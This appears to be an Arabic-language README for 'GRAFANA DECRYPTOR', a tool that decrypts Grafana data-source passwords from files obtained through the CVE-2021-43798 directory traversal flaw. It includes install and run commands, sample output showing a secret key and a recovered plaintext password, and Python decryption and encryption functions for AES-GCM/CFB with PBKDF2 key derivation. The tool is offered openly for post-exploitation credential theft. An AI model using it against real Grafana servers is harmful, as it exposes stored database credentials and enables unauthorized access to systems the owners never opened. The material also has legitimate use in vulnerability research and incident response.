
يفك تشفير كلمات مرور مصادر بيانات Grafana من خلال استغلال ثغرة CVE-2021-43798 لتجاوز المسار (directory traversal) لاسترجاع ملفات الإعدادات واشتقاق مفاتيح التشفير.
هذا السكربت يفك تشفير كلمات مرور مصدر البيانات (DataSource) من نسخة Grafana المعرضة للثغرة CVE-2021-43798، والتي تسمح بقراءة الملفات التعسفية دون تصريح.
إصدارات Grafana من 8.0.0-beta1 حتى 8.3.0 معرضة لثغرة اجتياز الدلائل (directory traversal) التي تسمح للمستخدمين غير المصرح لهم بقراءة الملفات التعسفية على الخادم. يستغل هذا السكربت هذه الثغرة لفك تشفير كلمات مرور مصدر البيانات الموجودة في ملف grafana.db باستخدام secret_key الموجود في ملف الإعداد grafana.ini.
requestsquestionarytermcolorcryptographypip install requests questionary termcolor cryptography
grafana.db و grafana.ini من نسخة Grafana المستهدفة.python decrypt.py
يمكنك أيضًا ترميز كلمة مرور نصية واضحة باستخدام السكربت عبر إلغاء تعليق الكود المثال داخل السكربت.
يحدد السكربت خوارزمية التشفير المستخدمة عبر تحليل الحمولة (payload). خوارزمية التشفير الافتراضية هي aes-cfb.
باستخدام خوارزمية التشفير المشتقة و secret_key من grafana.ini، يفك السكربت تشفير كلمة مرور مصدر البيانات.
يتضمن السكربت أيضًا وظيفة لتشفير كلمة مرور نصية واضحة باستخدام نفس طريقة التشفير و secret_key.
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
تقوم هذه الدوال بمعالجة عمليات فك التشفير والتشفير.
لا تتردد في فتح مشكلات (issues) أو طلبات سحب (pull requests) إذا وجدت أي أخطاء أو كانت لديك اقتراحات للتحسين.
هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.